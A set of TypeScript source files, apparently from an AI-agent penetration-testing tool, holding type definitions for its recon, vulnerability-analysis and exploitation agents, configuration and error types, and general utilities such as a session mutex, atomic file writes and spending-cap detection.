console.log(`${summary}${resumeSummary}`);
if (resumableCount > 0) {
console.log('\nResume with: ./shannon start -u <url> -r <repo> -w <name>');
}
console.log();
}
listWorkspaces().catch((err) => {
console.error('Error listing workspaces:', err);
process.exit(1);
});
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Logger interface for services called from Temporal activities.
* Keeps services Temporal-agnostic while providing structured logging.
*/
export interface ActivityLogger {
info(message: string, attrs?: Record<string, unknown>): void;
warn(message: string, attrs?: Record<string, unknown>): void;
error(message: string, attrs?: Record<string, unknown>): void;
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Agent type definitions
*/
/**
* List of all agents in execution order.
* Used for iteration during resume state checking.
*/
export const ALL_AGENTS = [
'pre-recon',
'recon',
'injection-vuln',
'xss-vuln',
'auth-vuln',
'ssrf-vuln',
'authz-vuln',
'injection-exploit',
'xss-exploit',
'auth-exploit',
'ssrf-exploit',
'authz-exploit',
'report',
] as const;
/**
* Agent name type derived from ALL_AGENTS.
* This ensures type safety and prevents drift between type and array.
*/
export type AgentName = (typeof ALL_AGENTS)[number];
export type PlaywrightSession = 'agent1' | 'agent2' | 'agent3' | 'agent4' | 'agent5';
import type { ActivityLogger } from './activity-logger.js';
export type AgentValidator = (sourceDir: string, logger: ActivityLogger) => Promise<boolean>;
export type AgentStatus = 'pending' | 'in_progress' | 'completed' | 'failed' | 'rolled-back';
export interface AgentDefinition {
name: AgentName;
displayName: string;
prerequisites: AgentName[];
promptTemplate: string;
deliverableFilename: string;
modelTier?: 'small' | 'medium' | 'large';
}
/**
* Vulnerability types supported by the pipeline.
*/
export type VulnType = 'injection' | 'xss' | 'auth' | 'ssrf' | 'authz';
/**
* Decision returned by queue validation for exploitation phase.
*/
export interface ExploitationDecision {
shouldExploit: boolean;
shouldRetry: boolean;
vulnerabilityCount: number;
vulnType: VulnType;
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Audit system type definitions
*/
/**
* Cross-cutting session metadata used by services, temporal, and audit.
*/
export interface SessionMetadata {
id: string;
webUrl: string;
repoPath?: string;
outputPath?: string;
[key: string]: unknown;
}
/**
* Result data passed to audit system when an agent execution ends.
* Used by both AuditSession and MetricsTracker.
*/
export interface AgentEndResult {
attemptNumber: number;
duration_ms: number;
cost_usd: number;
success: boolean;
model?: string | undefined;
error?: string | undefined;
checkpoint?: string | undefined;
isFinalAttempt?: boolean | undefined;
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Configuration type definitions
*/
export type RuleType = 'path' | 'subdomain' | 'domain' | 'method' | 'header' | 'parameter';
export interface Rule {
description: string;
type: RuleType;
url_path: string;
}
export interface Rules {
avoid?: Rule[];
focus?: Rule[];
}
export type LoginType = 'form' | 'sso' | 'api' | 'basic';
export interface SuccessCondition {
type: 'url_contains' | 'element_present' | 'url_equals_exactly' | 'text_contains';
value: string;
}
export interface Credentials {
username: string;
password: string;
totp_secret?: string;
}
export interface Authentication {
login_type: LoginType;
login_url: string;
credentials: Credentials;
login_flow?: string[];
success_condition: SuccessCondition;
}
export interface Config {
rules?: Rules;
authentication?: Authentication;
pipeline?: PipelineConfig;
description?: string;
}
export type RetryPreset = 'default' | 'subscription';
export interface PipelineConfig {
retry_preset?: RetryPreset;
max_concurrent_pipelines?: number;
}
export interface DistributedConfig {
avoid: Rule[];
focus: Rule[];
authentication: Authentication | null;
description: string;
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Deliverable Type Definitions
*
* Maps deliverable types to their filenames and defines validation requirements.
*/
export enum DeliverableType {
// Pre-recon agent
CODE_ANALYSIS = 'CODE_ANALYSIS',
// Recon agent
RECON = 'RECON',
// Vulnerability analysis agents
INJECTION_ANALYSIS = 'INJECTION_ANALYSIS',
INJECTION_QUEUE = 'INJECTION_QUEUE',
XSS_ANALYSIS = 'XSS_ANALYSIS',
XSS_QUEUE = 'XSS_QUEUE',
AUTH_ANALYSIS = 'AUTH_ANALYSIS',
AUTH_QUEUE = 'AUTH_QUEUE',
AUTHZ_ANALYSIS = 'AUTHZ_ANALYSIS',
AUTHZ_QUEUE = 'AUTHZ_QUEUE',
SSRF_ANALYSIS = 'SSRF_ANALYSIS',
SSRF_QUEUE = 'SSRF_QUEUE',
// Exploitation agents
INJECTION_EVIDENCE = 'INJECTION_EVIDENCE',
XSS_EVIDENCE = 'XSS_EVIDENCE',
AUTH_EVIDENCE = 'AUTH_EVIDENCE',
AUTHZ_EVIDENCE = 'AUTHZ_EVIDENCE',
SSRF_EVIDENCE = 'SSRF_EVIDENCE',
}
/**
* Hard-coded filename mappings from agent prompts
*/
export const DELIVERABLE_FILENAMES: Record<DeliverableType, string> = {
[DeliverableType.CODE_ANALYSIS]: 'code_analysis_deliverable.md',
[DeliverableType.RECON]: 'recon_deliverable.md',
[DeliverableType.INJECTION_ANALYSIS]: 'injection_analysis_deliverable.md',
[DeliverableType.INJECTION_QUEUE]: 'injection_exploitation_queue.json',
[DeliverableType.XSS_ANALYSIS]: 'xss_analysis_deliverable.md',
[DeliverableType.XSS_QUEUE]: 'xss_exploitation_queue.json',
[DeliverableType.AUTH_ANALYSIS]: 'auth_analysis_deliverable.md',
[DeliverableType.AUTH_QUEUE]: 'auth_exploitation_queue.json',
[DeliverableType.AUTHZ_ANALYSIS]: 'authz_analysis_deliverable.md',
[DeliverableType.AUTHZ_QUEUE]: 'authz_exploitation_queue.json',
[DeliverableType.SSRF_ANALYSIS]: 'ssrf_analysis_deliverable.md',
[DeliverableType.SSRF_QUEUE]: 'ssrf_exploitation_queue.json',
[DeliverableType.INJECTION_EVIDENCE]: 'injection_exploitation_evidence.md',
[DeliverableType.XSS_EVIDENCE]: 'xss_exploitation_evidence.md',
[DeliverableType.AUTH_EVIDENCE]: 'auth_exploitation_evidence.md',
[DeliverableType.AUTHZ_EVIDENCE]: 'authz_exploitation_evidence.md',
[DeliverableType.SSRF_EVIDENCE]: 'ssrf_exploitation_evidence.md',
};
/**
* Queue types that require JSON validation
*/
export const QUEUE_TYPES: DeliverableType[] = [
DeliverableType.INJECTION_QUEUE,
DeliverableType.XSS_QUEUE,
DeliverableType.AUTH_QUEUE,
DeliverableType.AUTHZ_QUEUE,
DeliverableType.SSRF_QUEUE,
];
/**
* Type guard to check if a deliverable type is a queue
*/
export function isQueueType(type: string): boolean {
return QUEUE_TYPES.includes(type as DeliverableType);
}
/**
* Vulnerability queue structure
*/
export interface VulnerabilityQueue {
vulnerabilities: VulnerabilityItem[];
}
export interface VulnerabilityItem {
[key: string]: unknown;
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Error type definitions
*/
/**
* Specific error codes for reliable classification.
*
* ErrorCode provides precision within the coarse 8-category PentestErrorType.
* Used by classifyErrorForTemporal for code-based classification (preferred)
* with string matching as fallback for external errors.
*/
export enum ErrorCode {
// Config errors (PentestErrorType: 'config')
CONFIG_NOT_FOUND = 'CONFIG_NOT_FOUND',
CONFIG_VALIDATION_FAILED = 'CONFIG_VALIDATION_FAILED',
CONFIG_PARSE_ERROR = 'CONFIG_PARSE_ERROR',
// Agent execution errors (PentestErrorType: 'validation')
AGENT_EXECUTION_FAILED = 'AGENT_EXECUTION_FAILED',
OUTPUT_VALIDATION_FAILED = 'OUTPUT_VALIDATION_FAILED',
// Billing errors (PentestErrorType: 'billing')
API_RATE_LIMITED = 'API_RATE_LIMITED',
SPENDING_CAP_REACHED = 'SPENDING_CAP_REACHED',
INSUFFICIENT_CREDITS = 'INSUFFICIENT_CREDITS',
// Git errors (PentestErrorType: 'filesystem')
GIT_CHECKPOINT_FAILED = 'GIT_CHECKPOINT_FAILED',
GIT_ROLLBACK_FAILED = 'GIT_ROLLBACK_FAILED',
// Prompt errors (PentestErrorType: 'prompt')
PROMPT_LOAD_FAILED = 'PROMPT_LOAD_FAILED',
// Validation errors (PentestErrorType: 'validation')
DELIVERABLE_NOT_FOUND = 'DELIVERABLE_NOT_FOUND',
// Preflight validation errors
REPO_NOT_FOUND = 'REPO_NOT_FOUND',
TARGET_UNREACHABLE = 'TARGET_UNREACHABLE',
AUTH_FAILED = 'AUTH_FAILED',
BILLING_ERROR = 'BILLING_ERROR',
}
export type PentestErrorType =
| 'config'
| 'network'
| 'tool'
| 'prompt'
| 'filesystem'
| 'validation'
| 'billing'
| 'unknown';
export interface PentestErrorContext {
[key: string]: unknown;
}
export interface LogEntry {
timestamp: string;
context: string;
error: {
name: string;
message: string;
type: PentestErrorType;
retryable: boolean;
stack?: string;
};
}
export interface ToolErrorResult {
tool: string;
output: string;
status: 'error';
duration: number;
success: false;
error: Error;
}
export interface PromptErrorResult {
success: false;
error: Error;
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Type definitions barrel export
*/
export * from './activity-logger.js';
export * from './agents.js';
export * from './audit.js';
export * from './config.js';
export * from './deliverables.js';
export * from './errors.js';
export * from './metrics.js';
export * from './result.js';
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Agent metrics types used across services and activities.
* Centralized here to avoid temporal/shared.ts import boundary violations.
*/
export interface AgentMetrics {
durationMs: number;
inputTokens: number | null;
outputTokens: number | null;
costUsd: number | null;
numTurns: number | null;
model?: string | undefined;
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Minimal Result type for explicit error handling.
*
* A discriminated union that makes error handling explicit without adding
* heavy machinery. Used in key modules (config loading, agent execution,
* queue validation) where callers need to make decisions based on error type.
*/
/**
* Success variant of Result
*/
export interface Ok<T> {
readonly ok: true;
readonly value: T;
}
/**
* Error variant of Result
*/
export interface Err<E> {
readonly ok: false;
readonly error: E;
}
/**
* Result type - either Ok with a value or Err with an error
*/
export type Result<T, E> = Ok<T> | Err<E>;
/**
* Create a success Result
*/
export function ok<T>(value: T): Ok<T> {
return { ok: true, value };
}
/**
* Create an error Result
*/
export function err<E>(error: E): Err<E> {
return { ok: false, error };
}
/**
* Type guard for Ok variant
*/
export function isOk<T, E>(result: Result<T, E>): result is Ok<T> {
return result.ok === true;
}
/**
* Type guard for Err variant
*/
export function isErr<T, E>(result: Result<T, E>): result is Err<E> {
return result.ok === false;
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Consolidated billing/spending cap detection utilities.
*
* Anthropic's spending cap behavior is inconsistent:
* - Sometimes a proper SDK error (billing_error)
* - Sometimes Claude responds with text about the cap
* - Sometimes partial billing before cutoff
*
* This module provides defense-in-depth detection with shared pattern lists
* to prevent drift between detection points.
*/
/**
* Text patterns for SDK output sniffing (what Claude says).
* Used by message-handlers.ts and the behavioral heuristic.
*/
export const BILLING_TEXT_PATTERNS = [
'spending cap',
'spending limit',
'cap reached',
'budget exceeded',
'usage limit',
'resets',
] as const;
/**
* API patterns for error message classification (what the API returns).
* Used by classifyErrorForTemporal in error-handling.ts.
*/
export const BILLING_API_PATTERNS = [
'billing_error',
'credit balance is too low',
'insufficient credits',
'usage is blocked due to insufficient credits',
'please visit plans & billing',
'please visit plans and billing',
'usage limit reached',
'quota exceeded',
'daily rate limit',
'limit will reset',
'billing limit reached',
] as const;
/**
* Checks if text matches any billing text pattern.
* Used for sniffing SDK output content for spending cap messages.
*/
export function matchesBillingTextPattern(text: string): boolean {
const lowerText = text.toLowerCase();
return BILLING_TEXT_PATTERNS.some((pattern) => lowerText.includes(pattern));
}
/**
* Checks if an error message matches any billing API pattern.
* Used for classifying API error messages.
*/
export function matchesBillingApiPattern(message: string): boolean {
const lowerMessage = message.toLowerCase();
return BILLING_API_PATTERNS.some((pattern) => lowerMessage.includes(pattern));
}
/**
* Behavioral heuristic for detecting spending cap.
*
* When Claude hits a spending cap, it often returns a short message
* with $0 cost. Legitimate agent work NEVER costs $0 with only 1-2 turns.
*
* This combines three signals:
* 1. Very low turn count (<=2)
* 2. Zero cost ($0)
* 3. Text matches billing patterns
*
* @param turns - Number of turns the agent took
* @param cost - Total cost in USD
* @param resultText - The result text from the agent
* @returns true if this looks like a spending cap hit
*/
export function isSpendingCapBehavior(turns: number, cost: number, resultText: string): boolean {
// Only check if turns <= 2 AND cost is exactly 0
if (turns > 2 || cost !== 0) {
return false;
}
return matchesBillingTextPattern(resultText);
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Concurrency Control Utilities
*
* Provides mutex implementation for preventing race conditions during
* concurrent session operations.
*/
type UnlockFunction = () => void;
/**
* SessionMutex - Promise-based mutex for session file operations
*
* Prevents race conditions when multiple agents or operations attempt to
* modify the same session data simultaneously. This is particularly important
* during parallel execution of vulnerability analysis and exploitation phases.
*
* Usage:
* ```ts
* const mutex = new SessionMutex();
* const unlock = await mutex.lock(sessionId);
* try {
* // Critical section - modify session data
* } finally {
* unlock(); // Always release the lock
* }
* ```
*/
// Promise-based mutex with chained queue semantics - safe for parallel agents on same session
export class SessionMutex {
// Map of sessionId -> Promise (tail of the FIFO queue)
private locks: Map<string, Promise<void>> = new Map();
// Chain onto the queue tail, then wait for predecessor to release. Guarantees FIFO ordering.
async lock(sessionId: string): Promise<UnlockFunction> {
// 1. Capture the current tail of the queue
const prev = this.locks.get(sessionId) ?? Promise.resolve();
// 2. Create our lock and immediately become the new tail
let resolve: () => void;
const promise = new Promise<void>((r) => (resolve = r));
this.locks.set(sessionId, promise);
// 3. Wait for predecessor to release
await prev;
// 4. Return unlock that releases the next waiter in the chain
return () => {
if (this.locks.get(sessionId) === promise) {
this.locks.delete(sessionId);
}
resolve();
};
}
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* File I/O Utilities
*
* Core utility functions for file operations including atomic writes,
* directory creation, and JSON file handling.
*/
import fs from 'node:fs/promises';
/**
* Ensure directory exists (idempotent, race-safe)
*/
export async function ensureDirectory(dirPath: string): Promise<void> {
try {
await fs.mkdir(dirPath, { recursive: true });
} catch (error) {
// Ignore EEXIST errors (race condition safe)
if ((error as NodeJS.ErrnoException).code !== 'EEXIST') {
throw error;
}
}
}
/**
* Atomic write using temp file + rename pattern
* Guarantees no partial writes or corruption on crash
*/
export async function atomicWrite(filePath: string, data: object | string): Promise<void> {
const tempPath = `${filePath}.tmp`;
const content = typeof data === 'string' ? data : JSON.stringify(data, null, 2);
try {
// Write to temp file
await fs.writeFile(tempPath, content, 'utf8');
// Atomic rename (POSIX guarantee: atomic on same filesystem)
await fs.rename(tempPath, filePath);
} catch (error) {
// Clean up temp file on failure
try {
await fs.unlink(tempPath);
} catch {
// Ignore cleanup errors
}
throw error;
}
}
/**
* Read and parse JSON file
*/
export async function readJson<T = unknown>(filePath: string): Promise<T> {
const content = await fs.readFile(filePath, 'utf8');
return JSON.parse(content) as T;
}
/**
* Check if file exists
*/
export async function fileExists(filePath: string): Promise<boolean> {
try {
await fs.access(filePath);
return true;
} catch {
return false;
}
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Formatting Utilities
*
* Generic formatting functions for durations, timestamps, and percentages.
*/
/**
* Format duration in milliseconds to human-readable string
*/
export function formatDuration(ms: number): string {
if (ms < 1000) {
return `${ms}ms`;
}
const seconds = ms / 1000;
if (seconds < 60) {
return `${seconds.toFixed(1)}s`;
}
const minutes = Math.floor(seconds / 60);
const remainingSeconds = Math.floor(seconds % 60);
return `${minutes}m ${remainingSeconds}s`;
}
/**
* Format timestamp to ISO 8601 string
*/
export function formatTimestamp(timestamp: number = Date.now()): string {
return new Date(timestamp).toISOString();
}
/**
* Calculate percentage
*/
export function calculatePercentage(part: number, total: number): number {
if (total === 0) return 0;
return (part / total) * 100;
}
/**
* Extract agent type from description string for display purposes
*/
export function extractAgentType(description: string): string {
if (description.includes('Pre-recon')) {
return 'pre-reconnaissance';
}
if (description.includes('Recon')) {
return 'reconnaissance';
}
if (description.includes('Report')) {
return 'report generation';
}
return 'analysis';
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Functional Programming Utilities
*
* Generic functional composition patterns for async operations.
*/
// biome-ignore lint/suspicious/noExplicitAny: pipeline functions need flexible typing for composition
type PipelineFunction = (x: any) => any | Promise<any>;
/**
* Async pipeline that passes result through a series of functions.
* Clearer than reduce-based pipe and easier to debug.
*/
export async function asyncPipe<TResult>(initial: unknown, ...fns: PipelineFunction[]): Promise<TResult> {
let result = initial;
for (const fn of fns) {
result = await fn(result);
}
return result as TResult;
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
export class Timer {
name: string;
startTime: number;
endTime: number | null = null;
constructor(name: string) {
this.name = name;
this.startTime = Date.now();
}
stop(): number {
this.endTime = Date.now();
return this.duration();
}
duration(): number {
const end = this.endTime || Date.now();
return end - this.startTime;
}
}
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{
"extends": "../../tsconfig.base.json",
"compilerOptions": { "rootDir": "./src", "outDir": "./dist" },
"include": ["src/**/*"],
"exclude": ["node_modules", "dist"]
}